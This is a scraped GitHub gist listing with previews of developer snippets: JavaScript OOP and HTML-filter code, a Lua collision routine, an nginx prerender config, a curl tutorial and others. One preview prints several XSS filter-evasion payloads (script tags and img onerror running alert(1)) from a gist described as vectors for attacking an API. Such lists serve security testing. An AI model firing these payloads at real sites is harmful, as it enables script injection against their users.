Skip to content

Instantly share code, notes, and snippets.

View yangfch3's full-sized avatar
🎯
Focusing

Fucheng Yang yangfch3

🎯
Focusing
  • NetEase
  • Internet
View GitHub Profile
@julying
julying / gist:8182446
Last active September 22, 2016 15:41
Javascript 过滤 html 标签、属性 /* * Creator : 王子墨 * Site : http://julying.com * QQ : 316970111 * Address : China Shenzhen * */
/*
* Creator : 王子墨
* Site : http://julying.com
* QQ : 316970111
* Address : China Shenzhen
*
*/
//此方法依赖于 jQuery
// 此方法用来过滤用户输入的 html 代码,去除其中的危险 标签、标签属性等
@yangfch3
yangfch3 / js-oop-example.js
Last active December 17, 2016 14:57
一段讲解使用 JS 实现 OOP 的代码实例
function inheritPrototype(subType, superType) {
if (Object.create) {
// 利用 Object.create 的特性实现 __proto__ 指针的正确指向,完美
subType.prototype = Object.create(superType.prototype);
subType.prototype.constructor = subType;
} else {
function F() {}
F.prototype = superType.prototype;
var prototype = new F();
prototype.constructor = subType;
@Saul-Mirone
Saul-Mirone / mini-express.js
Last active November 15, 2019 12:36
Just An Express Style Framework
const http = require('http')
const url = require('url')
const path = require('path')
const fs = require('fs')
const mime = {
"html": "text/html",
"css": "text/css",
"js": "text/javascript",
"json": "application/json",
"gif": "image/gif",
@yangfch3
yangfch3 / SAT.lua
Last active November 21, 2023 02:17
2D SAT 碰撞的 Lua 实现
local MathUtil = {}
---获取两点的距离
function MathUtil.GetDis(vec1, vec2)
local x1 = vec1.x or vec1[1]
local y1 = vec1.y or vec1[2]
local x2 = vec2.x or vec2[1]
local y2 = vec2.y or vec2[2]
local disX = x1 - x2
@thoop
thoop / nginx.conf
Last active December 8, 2023 21:55
Official prerender.io nginx.conf for nginx
# Change YOUR_TOKEN to your prerender token
# Change example.com (server_name) to your website url
# Change /path/to/your/root to the correct value
server {
listen 80;
server_name example.com;
root /path/to/your/root;
index index.html;
@soundyogi
soundyogi / 2018_chrome_snippet_gui_import_export.js
Last active December 24, 2023 22:09
A snippet to export and import your chrome snippets
void function() { "use strict"
/* !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! WIP DO NOT USE WIP !!!!!!!!!!!!!!!!!!!!!
DO NOT USE THIS YET.
USE THE 2016 VERSION BELOW PLEASE.
WWWWWWWW WWWWWWWWIIIIIIIIIIPPPPPPPPPPPPPPPPP
W::::::W W::::::WI::::::::IP::::::::::::::::P
W::::::W W::::::WI::::::::IP::::::PPPPPP:::::P
@yisibl
yisibl / HTML-tags.md
Last active January 26, 2024 06:58
常用的 HTML 头部标签

常用的 HTML 头部标签

详细介绍参见原文:yisibl/blog#1

<!DOCTYPE html> <!-- 使用 HTML5 doctype,不区分大小写 -->
<html lang="zh-cmn-Hans"> <!-- 更加标准的 lang 属性写法 http://zhi.hu/XyIa -->
<head>
    <meta charset='utf-8'> <!-- 声明文档使用的字符编码 -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /> <!-- 优先使用 IE 最新版本和 Chrome -->
@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013 13:38
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
#!/usr/bin/env python2
# lrdcq
# usage python2 unwxapkg.py filename
import sys, os
import struct
class WxapkgFile(object):
nameLen = 0
@btoone
btoone / curl.md
Last active April 2, 2024 20:18
A curl tutorial using GitHub's API

Introduction

An introduction to curl using GitHub's API.

The Basics

Makes a basic GET request to the specifed URI

curl https://api.github.com/users/caspyin